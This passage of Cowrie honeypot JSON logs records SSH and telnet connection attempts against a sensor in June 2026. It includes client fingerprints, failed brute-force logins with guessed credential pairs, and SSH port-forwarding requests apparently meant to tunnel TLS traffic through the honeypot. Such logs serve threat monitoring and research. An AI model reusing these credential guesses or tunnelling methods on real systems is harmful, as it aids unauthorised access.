Q3SuTC5SxelRYz5V1DfnH83rXJMPeq10hrV2FPPuWIHc7IGYcUXZXuCGpr7HcZ7KTHx8LRbAoCGO9rKWXI6JxV7bqDatPT6flwnyZsAQhZssv6NtIC6In52HkSDpGb4hb5tNPg4dqm1%2BM0ATMCsiSQuG5e0S8nh0BdVLKI02UxOjNAUKmryN7GqG'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:10.968735Z","src_ip":"173.208.188.210","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:11.134854Z","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:11.171166Z","src_ip":"173.208.188.210","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r$\\x99\\x836\\xa21\\x1a\\xacp+\\xf2C\\xa4(\\xae\\x9e7\\x93\\x81\\xc1\\x80\\xca\\xd7\\xbfN\\xa1~\\xb7[\\xdb\\xad \\xd8e\\xea,R\\x81\\x1a\\r#A\\x0f\\x1e\\xf6a\\xb0I\\x1b9\\x12\\xeb&\\x82\\xb3\\x16\\xaa|\\x9d\\x97.l\\xe2\\x92\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 =\\x19\\xee_<\\x01\\x0b\\x93\\\\\\x05\\xb7<\\x1cj=\\x00\\xe9>h-\\x7f;\\xc5\\xb3\\xa3\\x967\\xde\\xe9\\x94\\xaf:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r$\\x99\\x836\\xa21\\x1a\\xacp+\\xf2C\\xa4(\\xae\\x9e7\\x93\\x81\\xc1\\x80\\xca\\xd7\\xbfN\\xa1~\\xb7[\\xdb\\xad \\xd8e\\xea,R\\x81\\x1a\\r#A\\x0f\\x1e\\xf6a\\xb0I\\x1b9\\x12\\xeb&\\x82\\xb3\\x16\\xaa|\\x9d\\x97.l\\xe2\\x92\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 =\\x19\\xee_<\\x01\\x0b\\x93\\\\\\x05\\xb7<\\x1cj=\\x00\\xe9>h-\\x7f;\\xc5\\xb3\\xa3\\x967\\xde\\xe9\\x94\\xaf:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:11.174657Z","src_ip":"173.208.188.210","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:11.265617Z","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:11.303930Z","src_ip":"173.208.188.210","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\x93\\x0e\\xda\\x1afV\\x91\\xaf3~\\xadKk\\xed\\x9dl,\\x96Dh\\xa2\\xf7\\xacT\\x15C\\x02\\xcdp\\x99c \\x99k\\x9dG\\xf9\\xa1\\x1e\\xf8%\\x86V\\xf3\\xe2\\xa4\\xbf\"!\\x01\\xf8\\x1ag%\\xcd\\x1f\\xbbh_b\\x1c\\x93\\xa2c\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1U\\x9b\\x82\\xc1\\xd2\\xdf\\xae\\xaa\\x9e\\x89\\xd5\\xe4\\xad\\x06\\x86f\\x1ck?Q(\\xa0{\\x81\\x08\\xeeuC\\x8e\\xa9R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\x93\\x0e\\xda\\x1afV\\x91\\xaf3~\\xadKk\\xed\\x9dl,\\x96Dh\\xa2\\xf7\\xacT\\x15C\\x02\\xcdp\\x99c \\x99k\\x9dG\\xf9\\xa1\\x1e\\xf8%\\x86V\\xf3\\xe2\\xa4\\xbf\"!\\x01\\xf8\\x1ag%\\xcd\\x1f\\xbbh_b\\x1c\\x93\\xa2c\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1U\\x9b\\x82\\xc1\\xd2\\xdf\\xae\\xaa\\x9e\\x89\\xd5\\xe4\\xad\\x06\\x86f\\x1ck?Q(\\xa0{\\x81\\x08\\xeeuC\\x8e\\xa9R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:11.308635Z","src_ip":"173.208.188.210","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:17.794279Z","src_ip":"173.208.188.210","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40742,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d8873892819","protocol":"telnet","message":"New connection: 172.81.62.90:40742 (159.203.135.109:23) [session: 6d8873892819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:23.937085Z"}
{"eventid":"cowrie.session.closed","duration":34.9053840637207,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:24.353229Z","src_ip":"128.199.8.54","session":"64850faec6dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40744,"dst_ip":"159.203.135.109","dst_port":23,"session":"196c20ed1dcb","protocol":"telnet","message":"New connection: 172.81.62.90:40744 (159.203.135.109:23) [session: 196c20ed1dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:25.957829Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41488,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bf2ff2724c7","protocol":"telnet","message":"New connection: 172.81.62.90:41488 (159.203.135.109:23) [session: 1bf2ff2724c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:31.040982Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41494,"dst_ip":"159.203.135.109","dst_port":23,"session":"63b54a429cc3","protocol":"telnet","message":"New connection: 172.81.62.90:41494 (159.203.135.109:23) [session: 63b54a429cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:31.102005Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52732,"dst_ip":"159.203.135.109","dst_port":23,"session":"456221e4c745","protocol":"telnet","message":"New connection: 172.81.62.90:52732 (159.203.135.109:23) [session: 456221e4c745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:39.294590Z"}
{"eventid":"cowrie.session.closed","duration":39.44346475601196,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:11:03.380441Z","src_ip":"172.81.62.90","session":"6d8873892819","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.74463415145874,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:11:03.702314Z","src_ip":"172.81.62.90","session":"196c20ed1dcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.182963371276855,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:11:06.223673Z","src_ip":"172.81.62.90","session":"1bf2ff2724c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.641273975372314,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:11:12.743169Z","src_ip":"172.81.62.90","session":"63b54a429cc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.2390341758728,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:11:17.533478Z","src_ip":"172.81.62.90","session":"456221e4c745","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":58603,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2f202050665","protocol":"ssh","message":"New connection: 41.90.100.147:58603 (159.203.135.109:22) [session: a2f202050665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:11:43.212764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:11:43.217088Z","src_ip":"41.90.100.147","session":"a2f202050665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:11:43.430880Z","src_ip":"41.90.100.147","session":"a2f202050665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"P@ssw0rd","message":"login attempt [sam/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:11:44.318094Z","src_ip":"41.90.100.147","session":"a2f202050665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:11:45.534287Z","src_ip":"41.90.100.147","session":"a2f202050665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53420,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f809573ac68","protocol":"telnet","message":"New connection: 128.199.8.54:53420 (159.203.135.109:23) [session: 3f809573ac68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:11:47.085523Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":46782,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7c98c2a571e","protocol":"ssh","message":"New connection: 101.79.165.43:46782 (159.203.135.109:22) [session: e7c98c2a571e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:03.075922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:03.083105Z","src_ip":"101.79.165.43","session":"e7c98c2a571e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:03.300826Z","src_ip":"101.79.165.43","session":"e7c98c2a571e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"furukawa","password":"furukawa","message":"login attempt [furukawa/furukawa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:04.211914Z","src_ip":"101.79.165.43","session":"e7c98c2a571e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:12:05.431448Z","src_ip":"101.79.165.43","session":"e7c98c2a571e","protocol":"ssh"}
